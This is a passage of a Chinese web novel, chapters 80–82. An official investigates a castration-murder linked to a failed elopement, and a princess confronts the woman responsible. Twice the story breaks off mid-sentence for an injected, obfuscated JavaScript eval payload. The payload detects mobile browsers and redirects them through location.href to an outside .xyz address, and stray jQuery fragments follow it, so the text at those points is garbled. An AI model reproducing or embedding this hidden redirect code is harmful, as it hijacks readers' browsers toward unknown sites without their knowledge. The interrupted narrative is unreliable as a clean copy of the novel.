又是几番人情往来,郇寰仔细看遍亭下,不见沈明枳的影子,于是与众人道辞,按照衙役的指示,下了官道往山里去。谁知半路遇见了滞留的自家马车,郇寰一笑,趁陶识礼前去与衙役交接的功夫,打马至车窗下。 车夫认出是郇寰,出声引沈明枳挑开帘子问询:“出了什么大事连你都亲自来了?” 郇寰道:“人命案,具体还不清楚——殿下是要去丹峰庵么?” 沈明枳道:“送完人避避日头,既然刑部公干,我们还是不打扰了。”随后就要命人掉头,周遭同样停着的马车一见兖国公主府的车要回头,纷纷效仿,只是无人敢与刑部的人搭话。 郇寰定神目送马车远去,下马将缰绳塞给迎将上来的衙役,一掀衣摆,小心随人走入山路旁的树丛中。不过三十几步,就见衙役密密匝匝将前路围住,守卫见郇寰到了,忙命人开了口子亲迎他入内。 郇寰道:“怎么样?” 陶识礼摘下面巾,面色不佳,挑最震撼最关键的线索道:“死者被阉了。” 郇寰一愣,抬眼往那处血淋淋的裹尸布望去,再问:“致命伤?” 陶识礼摇头:“就这一处伤口,失血过多导致死亡。” 郇寰皱眉,问道:“死者身份可有眉目?” 陶识礼叹气,小声凑近郇寰说了两句,郇寰骤然变色,立即命人继续勘查现场并将半山不远的丹峰庵查封,尸体小心抬到庵中,并命人速去报信。 一会儿,又有人将从尸体上搜到的物证一并呈了上来,郇寰微眯眼,似有什么古旧的记忆被人放出了箱笼。 ** 申不极接到郇寰的口信快马加鞭飞到丹峰庵时,郇寰正对着仵作的验尸格目频频皱眉。 “海山!出什么事了!”申不极横冲直撞地进了里屋,撸了袖子对着盆中的冰块扇风。 郇寰让侍立一旁的人都退下,关上门,将桌上白布呈着的一串玫瑰色碧玺珠链递到他眼前,“你见过这东西么?” 申不极擦着汗,弯下腰,撅着屁股与那珠链大眼瞪小眼,摇摇头反问:“这是什么玩意儿?我应当见过?老子就算送人也不至于送这么寒酸的玩意儿。” 申不极下意识就以为是自己外面花天酒地时送金银珠宝讨美人欢心时犯下的风流债,又一联想郇寰见他在一个尼姑庵,一路上戒备森严,又听说死了人,脑洞大得下雨天可以接雨水,什么惨遭抛弃寻死觅活吧啦吧啦全都出来了。 郇寰扶额,打断申二拼命地自证清白:“行吧,是我多想了,对了,你家里姐姐妹妹的都还安好吧?” 申二困惑地答:“应该吧,怎么了,这和我家又扯上什么关系了?” 郇寰正色道:“你最近有没有听说过关于文家的风流轶事?” 申二试探问:“莫非文家的男人和情人幽会然后——”他比了一个刀切脖子的手势,嘴里不忘配着血喷时的声音。 郇寰扯了扯嘴角。这想必是宣国公主面首案的后遗症。 “有还是没有?” 申二嫌弃道:“文家都成这个样子了,家里的男人还敢出来风流?笑死人了!” 80. 第八十章 阉死人 自逆王宫变之后,参与谋逆的华氏被抄个底朝天,与魏王派有姻亲关系的宣平侯罗氏、文氏、国公宁氏、韦氏也多受牵连,只不过宁晨铎协助兖国公主出宫传信,将功补过,救了一家子上下老小;韦不决又带着兵部去救鸿胪寺的火没有掺和宫变,现担任南越将军离京赴任了;就是文家比较背,没有这样那样的巧合恰好。 现如今赵王当道,文家的人个个躲如鼠辈,族中的顶梁柱都被革职查办,其他人谨言慎行,战战兢兢,就怕旁人再翻旧账将他们一家送去阴曹地府与逆王相会。 郇寰具体问:“文十一郎你了解吗?” 申二摸着下巴上窜出来的胡子,飞速地检索化隆纨绔名录,又掰着汗津津的手指头算着排名,然后恍然大悟道:“他不就是文稚墨的那个那个那个弟弟吗?叫文途!” 郇寰想了想应是。 申二占了郇寰的位子,灌了一口杯中凉茶道:“这小子不是很上进的嘛,一直和宁老七他们混的,也没有我们那些‘不良嗜好’,根正苗红的清流子弟,指着今年的秋闱……” 郇寰对申二的“我们”很不满,又对话中的“宁老七”心感复杂,但未开口打断申二的长篇慨叹:“……总而言之,这小子不像是能干出那档子事儿的主。” “他有婚配了么?” 申二笑道:“必然是没有的,你想想宁老七,大概就能猜到文途其人了,绝对是要中举之后面上有光才肯议亲的。” 郇寰点点头,在申二的催促下大致地说了些案情,然后叮嘱申二最近行事不要过于张扬、嘴巴牢一点云云,就将人打发走,谁知申二没走半步,出了山门就见一驾低调的素布马车停在阶下,一个大大的“申”字贴在灯笼上无比刺眼。 申二打马前去,车夫认得他,忙跳下辀行礼问少爷好。 正盘问着,就见两个婆子并一个水灵灵的婢女搀扶着一个掩面而出的扶风少女往这里走来,一见申不极高头大马上探究的目光,少女腿肚发颤,抖着嗓音向他福礼:“丹颜见过二堂兄。” 申不极对家里逢年过节能站满一圈的环肥燕瘦的姐姐妹妹没有什么多的印象,他仰头思索了片刻,好似堂叔家是有这么一个叫申丹颜的女儿,于是点点头随便问了几句。见申丹颜肿起的双眼,他一抽嘴角,忽而想起自己之所以记得这个堂妹,全赖于她的未婚夫婿,是前南越将军何卓远族中的一个年轻人,长得——额,奇丑无比。 申二心里默默同情申丹颜,这样一来她出来散心、眼睛肿得跟核桃就可以理解了。 申二很想立刻飞回他的温柔乡,但一想到郇寰严肃的叮咛,大发仁慈,决定亲自护送这个堂妹回家。总不能让小姑娘一个想不开寻死觅活坏了人生大事。 他慢悠悠在前面走着,旁人看来有几分当家兄长的威严,但他早已神游天外,不知道想到哪里去了。他从申丹颜想到成亲,又从成亲想到洞房,又从洞房想到——额,郇海山? 申不极被自己这个奇妙的联想笑到了。 但他捋了捋思路,觉得这么联想一点毛病也无。毕竟当年郇海山想方设法地想尚主,向自己这个过来人请教了不少秘诀,又为了让郇海山沐浴在自己传道受业解惑的师德之中,他秉持“绝知此事要躬行”的理念,亲自下场,从挑礼物去首饰店、公主出游提前去踩点、深刻了解天地阴阳调和之道去勾栏,可谓事事践行,时时严谨。 结果次次挨打! 申二咬碎一口银牙。 要不是他看出沈明枳对郇海山好像也有点意思,就凭郇海山那些要命的操作,他能尚得了主?老子跟他姓! 不过—— 申二又一回神,突然觉得方才郇海山让他辨认的那什劳子链子有点门道,他好像真的见过类似的玩意儿。 他左思右想,目光在周遭喧嚣的街市飘忽,忽然停在了一家气派的银楼前。 他记得郇寰头一次上银楼还是自己带的。 郇寰端详着眼前银光闪闪、色彩艳艳的首饰,听着掌柜一一详细的介绍推销,只觉得自己断案都没有这么难断。耳边申不极一会儿赞这个好,一会儿夸那个妙,什么“要用心但又不能让人看出用心”的理论一套套,听得他两耳嗡嗡,恨不得一巴掌拍死这只烦人的苍蝇。 他本来很想去搞一套谁谁名家的字帖什么的,因为听赵王说沈明枳挺喜欢那些文文墨墨的东西,但申不极连说不行,理由就是“烂俗”,“海山你想想,宁老七和公主青梅竹马,公主喜欢什么他能不清楚?你如果真搞一套字画什么的,就是中了宁老七的奸计!你送的东西难道能有他送的东西合公主心意?咱们还不如反其道而行之,再说,珠宝首饰的,哪有姑娘家真的不喜欢,又实惠又有面儿……” 郇寰有点被说服。 于是就在珍贵的休沐时间,被拉到这儿举棋不定。 申不极看出郇寰有些不耐烦,自己也有点不耐烦。因为他送东西向来是手指随便一指就定了,或者是美人明着说要什么就买什么,就连娶辛莘那头母老虎时的礼都是家里长辈千挑万选备好了的,何曾为女人费过这样的心思? 但他难得地耐心下来,捧来一只玉佩:“这玉佩好呀,那句话怎么说的,叫‘愿诚素先之……’” 郇寰道:“愿诚素之先达兮,解玉佩以要之。” “对对对对!再配个同心结,多好啊……” 郇寰冷笑道:“是啊,直接被当做登徒子给打出去。” 申二一咂嘴:“你这话就不对了,情情爱爱的,我们就应该直接一点,含含蓄蓄的如果能成,宁老七早就抱得美人归,还轮得到你?” 郇寰很不屑。 申二很着急,又拿起一根簪子:“这簪子好呀,‘簪髻乱抛,偎人不起……’,不对,应该是‘寒玉簪秋水,轻纱卷碧烟’,妙啊!” 郇寰别开眼,听申二继续卖弄:“何用通音信,莲花玳瑁簪!多好啊,海山你看看。” 郇寰冷笑两声:“我是男是女你分不清?” 申二看见他握起的拳头,讪讪一笑,放下簪子拿起一条碧玺脚链,心道这么有情趣的东西必然要引他火冒三丈,于是又默默放下,谁知郇寰问道:“这东西你怎么不推荐了?” 申二尬笑:“太直白太直白。” 郇寰一挑眉不欲多说,谁知申不极将他的这一挑眉错理解成感兴趣,于是抓耳挠腮,凑在他边上,字斟句酌地道:“其实这东西也没那么——额,荒唐的,很正经的!我小时候见我家姊妹人手一条,一模一样,以为是老祖宗送的宝贝,我也想要,结果我娘告诉我申家每个未出阁的女儿都会有,姓氏象征……戴在脚踝上的嘛,女人的脚又不能随便给人看,嫁了人就不戴了,东西留着或者送给丈夫,你懂的,也算是闺房情趣……” 沉浸在回忆中的申不极一惊。 好像申家姑娘人手一条的脚链貌似就是那个样子的,又好像不是。 他想到了身后跟着的马车里的申丹颜。 这不就现成有一个申家未出阁的黄花大闺女么。但自己作为堂兄的,此举实在不妥。府中他能接触到的、能见到碧玺脚链的老小女人现在都找不到,老太太回蟠门老家颐养天年,母亲在老家侍奉,大嫂随大哥外放,随便找一个老婆子问又师出无名,那头姓辛的母老虎说两句就要吼,真真泼妇也。 申不极叹息,只能寄希望于郇海山回家问问他家的公主,再让他家的公主问问辛母虎。 郇寰确实下了衙就直奔回府,用过晚膳后就开门见山地问了起来。 沈明枳思索了片刻,阅遍脑海也不记得辛莘或者临川与自己说着这样的事情。起初还纳罕郇寰办事不避讳她知道,一五一十地都说了,原来是有求于人。 “我明天去问问。” 郇寰点点头,打算再坐一会儿就回书房,正瞧见摆在花架上的瓶子中随意地插着荷花荷叶,潦草之中却又有匠心,不知怎地又想起申不极多年前说过的一句“要用心但又不能让人看出用心”,回忆起他见那链子眼熟,原来是当年申不极教他挑礼物教了半天他得到的唯一用处。 他花了大半天,什么也没看中,为了不让自己觉得浪费光阴,就随便买了一对耳坠,结果后来发现沈明枳连耳洞都没打过!破财费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739730|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,正考虑如何补救,毕竟沈明枳头一回在宫外设宴做生日,也可能是最后一次,他得把握一下,尤其是有楼复的前车之鉴后。 谁知那天,自己一大清早就被案子绊住,硬是忙到日头偏西,席面都散了,沈明枳都要回宫了,自己才火急火燎地要赶了过去。更可悲的是,当时泼天的大雨,淋得他透心凉,见得刑部衙门路边野花被疾风骤雨打得零落惨淡,正合了自己心境,于是就随手采了一束,遮在袖子里,装作下衙偶遇,打算在公主的马车进宫门前劫住,防止入了宫教对门那群闲得发慌天天坐在门口挑骨头的御史看见丢死人。 谁知这自杀式的行为效果居然意料之外地出奇地好。 虽然沈明枳一眼就能看出他的企图:他一个刑部的人不走启明门特意大老远绕道正阳门,还说偶遇,这鬼相信? 不过沈明枳很受用。 据赵王说,沈明枳还找了一只花瓶将那束不知名的野花养了起来,皇后听了来龙去脉叫好,就是圣上不愉,估计是觉得他郇海山勾搭女人的本事通天,不堪托付。事后郇寰还特意让人把衙门附近疯狂生长的野花野草全都拔了,一怕有人借题发挥,二怕有人有样学样,三怕有人丢人现眼。 后来申不极向辛莘打听过宁晨铎送了什么,果然是老大夫对症下药,不是什么名家字帖而是一套《西域图志》,而愣头愣脑还不打算放弃的楼复送了一堆珍奇名帖,被辛莘好一顿冷嘲热讽,末了还不忘补一句“这都是宁七郎十岁就送过的东西”。 沈明枳瞧着郇寰唇角萦绕一分似有若无的笑,心中纳闷,但也没问,只是喝了几口茶就打着去查郇八娘作业的旗号起身离去。 辛莘办事很利索。因着文十一郎丧生荒郊野岭的消息如同插了翅膀飞遍了化隆上下,不少人怀疑是私会佳人反送了卿卿性命,于是辛莘明里就打着慰问家中同一房的未嫁小姑们的大旗,暗里一一检查姑娘们有没有和杂七杂八的男子私通款曲,揪了一条条碧玺脚链让沈明枳一起验看,顺便画了样式往刑部衙门送去。 刑部查遍了化隆大小作坊都查不出这链子的出处,正灰心丧气,比着申国公府送来的图纸一看,好家伙,一模一样,顿时备受鼓舞,但一见尚书大人冷飕飕的眼神,大气不敢出,都发誓必将守口如瓶一丝消息都不会漏出去。 郇寰叹气,又让人取过当日封锁丹峰庵后录下的访客名录,没翻上几页就看见申丹颜的名字赫然在列,而且还在那里住了一晚。根据仵作验出的结果可知,申丹颜住的那一晚就是文十一郎出事的那一晚。 他想起了被关在侯府的郇三娘。 郇三娘的事情尚可遮掩,过些日子没人议论后又可以找一门第低一点的人家远远发嫁,楼家又站出来坚决否认,真真假假尚可蒙混过关,但申丹颜这事是遮不住的,出了人命,还是文氏这样敏感的人家。 郇寰命人备马。他需要亲自去一趟申国公府。 他心里已经有了计较。 昨天搜山搜到了一个包袱,里面都是些金银细软,离文十一郎的尸体不算远,逼着被恐吓过的文家人认过,不少都是文十一郎母亲的首饰。再加上文十一郎身上藏着的女子的碧玺脚链,不难推出一场月夜私奔远走高飞的戏码,尤其是当郇寰得知这申丹颜还定了亲,不日就要出阁的消息后。 但不知什么原因,这场戏的女主角没有如约登场。原因也不难猜,无非是难以抉择。毕竟现下结亲,不仅仅只是新郎、新娘两个人的事,是两个家族的事。文家败了,文十一郎失了家族束缚与支撑,自然毫无顾忌,但申丹颜还有父母兄弟姐妹,申家还是欣欣向荣、蒸蒸日上,且准夫家也不是善类,她一时脑热许下山盟海誓,但清醒过后利害一目了然。 郇寰倒希望郇三娘做事前能像申丹颜一样想想清楚,但又叹申丹颜运背。 杀人这事申丹颜必然是做不来的,也没有动机做;阉割的刀法不够利落,但也绝非是个人就能做得来;且就从凶手只下一刀看,本意也未必是要文十一郎的性命,金银细软尚且完整也不是贪财,但文十一郎着实孱弱,性命随逃了一路流了一路的血渐渐垂危。 81. 第八十一章 双塔寺 申不极早得了郇寰的消息在正门迎接,见郇寰一身绯色官服,知道这件事是不能瞒了,于是也通知堂叔敞开了直白往来,垂首立在堂中一角,任由刑部的人拿了申丹颜身边的丫头婆子一一拷问。 郇寰亲自审过了申丹颜,与自己的猜想一丝不差,又盘问过了仇家对头等等可能是凶手的细节,打算再去一趟文家问问文十一郎身边的小厮仆从,临行时很是怜悯地安慰了几句,人没出大门照壁,就听得堂内一番哭天抢地,申不极对他苦笑。 然后下午他从文家出来时,就听说申家人直接按家法打死了申丹颜,她身边伺候的人也死的死、卖的卖,打算族中另择一女嫁给何氏,多多赔上嫁妆,以求肃正门风,防止族中其他姑娘嫁不出去;续两姓之好,以免得罪权贵。 郇寰忽然觉得自己对郇三娘算是很仁慈了。他也苦笑,只得咬牙去找那个躲在背后的凶手。 他回来一趟刑部交代完半天收获,刚出宫门就接到沿途乞讨的乞丐递来的一封信。郇杭差点把突然冲出来拦在马前的人当作刺客一刀砍死,心有余悸地将信递给郇寰,还不忘让人揪住那乞丐,以备郇寰探问。 就见郇寰展开信后神色微变,将信小心折起收好,让下属盘问清楚那乞丐,又改了再度探查现场的主意,让一众衙役回宫,自己带了郇杭并着三个长随扬鞭出城。 郇杭见远远落在身后的兴化门,心道不对。 去丹峰庵走延平门,走兴化门反而绕远不值当,且到了地方天都要黑透了。他心有疑问,但并不敢打扰读了信后就面色沉冷的郇寰,只见得下山回城的马车络绎,直觉郇寰是要往山上的双塔寺而去。 到了山门,郇寰一个翻身下马,将马鞭摔入郇杭怀中,命他们不必跟来,大步入了寺中,衣过夏风尽生凉气。 三个人面面相觑,郇杭只觉会有大事,让一人看着马匹守在山门,带上另外两个长随远远地跟上,但没几个转弯,他们就在偌大的寺中失去了郇寰的踪影。 远处黑云渐渐吞没了残霞,如同一团挥之不去的阴影逐渐吞噬这盛夏的光亮,郇杭觉得心里压抑得慌,但三个人团团乱转,最后把自己的路也迷失了。正当他们丧气地打算回到山门时,就见得一熟悉的背影一闪而过,郇杭呼吸一窒。 “月珰姑姑!”郇杭一个健步挡住月珰的去路,心里一个不详的念头逐渐腾起。 月珰认清了来人,也是一惊,一个福礼之后开口问道:“驸马来了吗?” 郇杭应声,将郇寰如何在宫门口遇见那个乞丐、看了信、飞马而来的一切都说了出来,就见月珰的脸色随着他粗略的叙述一点点地沉下来,心知真的出事了。 月珰低声道:“驸马是让你们守在山门嘛,你们还不快去!” 郇杭一愣,月珰的话很有威慑,他们私自跟来也着实心慌,还没开口再问就又被月珰赶回山门。 月珰确定三个人是往山门而去,只觉得头脚倒了个儿,心快要从喉咙口跳出来,连忙转身往后林禅房跑去,心里直默念殿下不要出事,又不由得自责起来,突然觉得脸上一凉,分辨出那不是自己的眼泪后,“哗”的一声雨水从天上浇了下来,眼前顿时灰暗。 下山路难行,事情怕是难了。 月珰差点摔了一个跟头,又不慎和一个熟人撞肩,两个人竟互相搀扶着躲到了檐下,四目对视间,一人的恐惧渲染了另一人,那小厮充栋开口断断续续想说什么,被还算镇定的月珰打住,一起边走边拧湿衣裳。 离那寮房不过十几步远,就听得屋里“砰”的一声重物翻倒的声音被喧嚣的雨声压着闷闷传来,过了一会儿门就被从里面推开,一身绯袍的男人率先而出,鹰隼般的眼神朝并肩而来的两人射来。 待两人看清郇寰攥着一样面色不善的沈明枳,充栋踉踉跄跄跑进屋里,唯留月珰在原地愣愣。因为她看见,沈明枳露出衣裳的脖颈上两道血淋淋的抓痕,鬓发也不如来时整齐,脸上为提气色的妆也花了大半,庆幸在暮色之中看得不清晰,只让人觉得精神气不足。 月珰扶住她的手,惊心地发现她右手上竟然都是还在冒血的划痕。 郇寰走得很快,沈明枳有点跟不上,正当她的怒意要冲破压制,打算甩开他的手时,就感觉郇寰放慢了步子,竟是在等她。 他们都冷静下来了。这是件好事。 等瞒过众人上了马车后,郇寰却发现,这不是件好事。 他们互坐一边,月珰探身进来觉得气氛不对又披了蓑衣坐到了外面。车内,只留下沈明枳和郇寰两个人晦暗不明地靠坐在厢壁上,听着外面轰鸣的雨声。 下山路难行。 郇寰见她虚脱地依靠在厢壁上,紧闭着的眉眼中说不出的烦闷苦恼居然压过了腰背上的疼痛,自己心里按捺住的潮涌也让整个人都很暴躁。他收回目光,尽量避开她的伤口,却见他亲自为她整理的裙摆裂开了的一大块口子,顿时那股怒气难以控制地烧燎起来。 昏暗中,沈明枳开口,声音有些虚弱:“你怎么来的?” 郇寰强制自己平复下来后,从袖子中取出那封信,吐出一口气:“有人送信。” 沈明枳睁开眼,抖着手接过那封信,就着窗外隐隐约约的光亮读了起来,一声轻笑流入郇寰耳中,见她将信重新折好交还他,只是雪白的纸上多了几点她手上的血痕。 郇寰攥着信的手紧了紧,听见沈明枳在雨声喧哗中低声喊了自己的名字,手一松,目光从她的裙摆移到她的脸上,眸光一暗,“郇寰?” 这是沈明枳第一次这样直呼他的大名。当着别人的面她会叫自己“郇大人”或者“驸马”,没有别人时也称“郇大人”或者“驸马”,只有在她或生气或羞愤或焦急的时候才唤他“郇海山”,独独从没有这样叫过他“郇寰”。 他也很少听别人这么叫自己,未取字时旁人也只“郇二郎”或者“二郎”地叫他,只有他父亲抡起棍子要动家法的时候这么吼过自己,但彼时此时情状完全不同。 他静静地等待未知的下文。 谁知,这两个字就像从开头变成了结尾,诸多书不尽的其中意都藏在了两个字中,他向来善于洞悉,此刻却如同一个落榜的士子,或者一个目不识丁的凡夫,交了篇庸俗文章,交了张白卷。 他等了很久,听见沈明枳的一声叹息,随后就是一句让他整个人怔愣原地的话:“此事牵连到你,对不起。” 兖国公主从不低头,这是他认识沈明枳的第一天就知道的。她会委婉表示歉意,但这三个有如千钧的字却绝不随便出口。 这是什么意思? 这算什么? 她又有什么对不起的? 因为她和宁晨铎的这番牵扯会让自己颜面尽失,所以她要道歉么? 因为宁晨铎她要向自己低头? 她就这样低头了? 郇寰两耳嗡嗡直响,一道惊雷自天际滚落,炸响在他耳畔。 他们利益一体,但不是一颗心。 他一直都知道这个道理,所以即使临川郡主臭名远扬,连当娘的鲁国长公主都害怕临川郡主带坏兖国公主,他这个当驸马的却不在意自己的公主在外面会否也养上一屋子的面首,同样,他的公主也很乐意自己的驸马拈花惹草、夜不归宿。 因为他们都是聪明人,只要账能平,管它这账面上的钱是怎么来的,管他们各自都有多少暗账,管它暗账又会怎样影响共同的明账。但是,这又有一个大前提,就是他们有一本共同的明账,他们对他们这个整体负共同的责。 可是,现在他公主告诉他,这笔账与自己无关。 他郇海山是个外人。 他没法云淡风轻地应上一声,或者假装宽慰几句“你不必自责”“这也原非你本意”。 他感到无措,迷茫,困惑,愤怒,还有一种他才识别出名称的情感——嫉妒。 这里面有一个秘密,他郇海山不能知道的秘密,而宁晨铎知道的秘密! 他们青梅竹马十几载,只属于他们的秘密多如雨点,他不在乎。 但这个秘密,这个居然让沈明枳向自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774087|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头的秘密,他不能不在乎。 就算自己会伤害她最疼爱的弟弟,她也绝不会有今日这番神情,痛苦,挣扎,愧疚,暴躁。 郇寰觉得自己的血已经沸腾,暴起的青筋揭示主人家的内心,黑暗中观察不到的通红双眼流淌出一痕不合时宜的哀伤。 他问了一声“为什么”,等待她的一句“与你无关”。 然后他就可以不必忍耐,让怒火毁灭这废墟之上难得的宁静。 但回应他的只有车内久久的沉默,和车外渐渐淅沥的雨声。 郇寰觉得自己快要,失心疯了。 沈明枳忽然开口,那淡然的语气,让他内心这些胡乱的挣扎都成了笑话:“找人看住宁晨铎,别让他死了。” 郇寰心里自嘲。 沈明枳上车前就听见郇寰吩咐郇杭几人去看住宁晨铎,但她不放心宁晨铎疯疯癫癫之下会否做出自残的行为,或者受人挑唆做出不可挽回的错误选择。郇寰多半是为了秋后算账,而她是为了不生事端。 马车径直驶入公主府内,但没有人敢出声惊扰车内沉默对坐的两人。 “你方才问我‘为什么’,是问,我为什么道歉么?” 郇寰不言。 沈明枳轻笑一声,“因为我真的做错了事,我认错。” 郇寰依旧不言。 沈明枳又是一声轻笑,其中的嘲弄和无奈,郇寰理解到了,“而我的错无法弥补,现在我犯的错又要波及除我之外的人身上。” 郇寰知道她刻意避开“别人”而用“除我之外”替代,因为她说到一半话略有停顿。 他心里复杂地听下去:“明日你一身官服就来双塔寺捉奸的消息也许就会传遍化隆,幸而大雨可以遮掩一二,你是接到消息前来查案,我是每月惯例前来上香,宁晨铎是暴雨难以下山,只是如果宁晨铎死了,就没有转圜余地了。” “今夜暗卫会搜山,我的人手不够,宁晨铎那里全都交给你了。” “郇寰,帮我。” 也是帮你自己,帮你那家和万事兴的伪装。 郇寰看向她。 她低头了,但也不忘威胁。 是有反骨的人。 这才像她。 郇寰换下湿漉漉的官服,洗干净一身尘土,穿上常服坐在了西厅。 郇七郎、郇八娘早早被嬷嬷带着回房间用了晚膳,他们一家子常常聚在一起用膳的西厅而今空荡荡唯余雨声。 听见脚步,郇寰从杯中茶上抬头望向远处,沈明枳处理了伤口,也换了一身衣裳走了过来,坐在了一旁。 他记得宫变那晚她在城门口坐了一宿,回来后就发起高热,倒是他这个受了皮肉伤的人彻夜照顾她,她人还没醒,自己伤倒好了。孙先生只说是她体内积攒的毒还未清理干净,反复邪侵所致,不怪他也一直觉得她身子骨远不如南巡以前。 现在再坐一宿,她是不要命了? 但郇寰没有出声,只是命人将门关得更严实点。 因为沈明枳犟,和他一样犟。 都是劝不动的人。 他们之间也没有说话,直等到四更鼓响时,厅外有人来报:“殿下,人抓住了。” “带进来。” 郇寰就见两个暗卫一同提着一麻袋走入厅内,随后扒开麻袋,把一狼狈如落汤鸡的女人拖到地上,然后躬身退了出去。 沈明枳没有看那女人,而是偏头看向郇寰道:“她就是始作俑者。” 那女人从滴水的乱发中抬起脸,夜鬼哭般凄厉叫道:“你才是始作俑者!” 沈明枳点点头,赞同她的说法,但又向郇寰道:“你能出去么,我要与她谈一谈。” 女人冷笑问:“有什么不能当着他的面说的?” 郇寰没有理会,而是起身绕过那女人,转出了门。门没关,暗卫和月珰就候在敞开的门外以防不测,见郇寰出来也未走远,同他们一起站在门边。 沈明枳起身,跪坐在她的面前,问道:“你要当着他的面说什么?” 82. 第八十二章 宁晨铎 女人笑道:“他是刑部尚书,最近被一个案子绊住了,作案的凶手就是我,这可不就要当着他的面说吗。” 沈明枳默然片刻,问道:“为什么杀文十一郎?” 女人道:“他运气太差了,遇上了我。” 沈明枳抬眼。 女人继续道:“他们要做鸳鸯,生不能得,逃到天涯海角皆不能得,更何况那千金小姐不愿意做鸳鸯了,我成全他一番痴情,让他们到地下比翼双飞、共结连理。” 沈明枳垂眼道:“你只是想让我更愧疚,最好愧疚至死。” 女人嘲讽道:“但您并不会,对么?因为您天生恶种。” 呼吸一窒,沈明枳一笑:“你说的很对。” 女人再笑道:“原来您也知道自己多么卑劣,又放任卑劣的自己做更多卑劣的事情,实在难得。” 沈明枳问:“为何难得?” 女人大笑问:“您读了那么多圣贤书,享受了那么多真心实意,月月去佛前上香,还能做出这些事情,不难得么?” 沈明枳想了想,点头称是。 女人朝郇寰留在桌上的一杯茶示意,问道:“您恨他吗?不选旁人选择来祸害他?” 沈明枳没有回答,反而问道:“你告诉长宁的?” 女人略微一反应,就知道她说的是那件事,长宁发誓要让她和柳曦既颜面扫地的事,笑了两声:“不是。” 沈明枳微微一皱眉,听她继续道:“不过通过这件事,我发现,后宫里还有一只坏种,如您一般,一模一样。” 沈明枳想到了长英和她的熟稔,顿时了然,点了点头,又问道:“为何赶在现在出手?宫变的时候不是更容易么?” 女人笑道:“不够。” “什么不够?” “痛苦不够。” 沈明枳请教道:“此话怎讲?” 女人嗤嗤地笑了起来:“您自己难道不清楚吗?就那么让您死了,太轻松了。” 沈明枳现在确定当时郇寰在池边瞧见的对岸人影就是她。 “你说的对。” 这种身败名裂又殃及池鱼的死法,最能让爱惜羽毛、自诩善良的兖国公主痛苦。 但是沈明枳问道:“可这不就矛盾了么?我天生恶种,害死旁人绝无愧疚,你又要让我愧疚至死?” 女人盯住她的双眼,片刻道:“不是愧疚,是后悔。后悔自己害死了世上唯一会真心爱您的人,您又一无所有。” 沈明枳眨眨眼,对这番强词夺理表示赞同。 厅中静了一瞬,那女人似是对沈明枳的无动于衷感到无奈:“您可真是——卑劣。” 沈明枳在她鬼魅般的注视下淡淡一笑,“与我说说,你为了仿我的字,花了多少功夫?” 女人道:“挺多功夫的,不过真心恋慕您的那位宁公子指点了我不少。” 沈明枳一挑眉。 女人不介意将自己这么多年的苦心经营都公之于众:“我最先是在御膳房的,后来在尚仪局干了些日子,您知道的;我又攀上了掌权的梁少监,求他将我调菁明书院做事;您以前习的是欧阳询的帖,后来又学了梅大人的帖,我在菁明书院偷着练字叫那位宁公子瞧见了,随口胡诌骗过了他,他竟又很高兴指点我写字。我有曾要把话题牵到您身上,他很谨慎,总是小心地绕开对您不利的话题,不愿意让您落人口舌,但又不吝夸赞您,说某年春闱,题出来之后您与他也悄悄做了一篇策论,糊了名字,让书吏抄上一遍混在诸皇子的答卷中送给监考的大人,那位大人对您的文章赞不绝口,又交给圣上看了,也觉得好,但您不敢认,又悄悄将答卷偷出来烧了,虽然大家都知道那卷子是您写的,他夸您——” 女人再度嘲讽:“但您是故意这番做作,假意让人知道您有才华而恪守礼法,心系天下又不乱朝纲,您的计谋真好。” 沈明枳听着不作声。 女人再道:“再有是更小的时候,偷摸出宫被发现,连累一大群宫女内监受了罚,太子罚了他们月俸,您自己掏出月俸补给他们,他夸您,但您若是真为人着想,又如何做得出溜出宫的举动,您不过是犯了错,又想借机收买人心,现今宫里的老人还有念着您的恩的呢。” “有一回圣上夏藐,众臣相随,在搭建的帐篷中休息,您到了帐篷门口,问了里面坐着的都是哪些大臣,然后在门口站了片刻就又启程。内监斗胆问您为何不入帐休息,您说,按照礼法,您若是进去了,里面的大臣就要出来了,那些大臣都是国家的肱骨,是为百姓请命,为天下社稷筑基,圣上又爱惜人才,您不能让他们受烈日曝晒之苦,让圣上心忧栋梁。他又夸您,可是这不过是您赚取美名的伎俩吗?您若真是这么想的,何必故意说这样一番话博取声誉,随意找个借口走了便是。” “还有您要出降,为了修公主府的事情又是多番推让,大家都觉得您真是心系远方将士,吃了天大的亏,他更夸您。但他不说后来圣上偷着赏赐了您更多财宝,并在某日下朝后,叫上朝中有头有脸的人物,暗示他们都要出席您的婚礼,人不去礼也要到,一定要给您长脸,于是就有了后来的一幕,您大婚,满朝上下都唱了礼,声势浩荡可入史册,寻常人都以为真是您贤良,才有花开蝶来的一天。” “他还说,只怕有不少人会说您沽名钓誉,甚至是祸乱朝纲,他不多与人争论,只相信‘疾风知劲草,板荡识诚臣’,您挺身而出代帝南巡,您谦虚让功不争不抢,他宁某不才,惟愿一生终老书院,只求能有如太史公执笔编攒史册的一日,将您的丰功伟绩、您的蕙质兰心、您的家国大义,藏之名山,传之其人,与君子同列,与日月争辉……” 女人放肆地笑起来,几滴泪就这样将她污燥的脸上再度划出沟壑,如同一柄寒芒在沈明枳的心上作画,绘出这江山万里风景如画,绘出这八方同庆古道热肠。 画完了,女人问她:“您后悔了吗?” 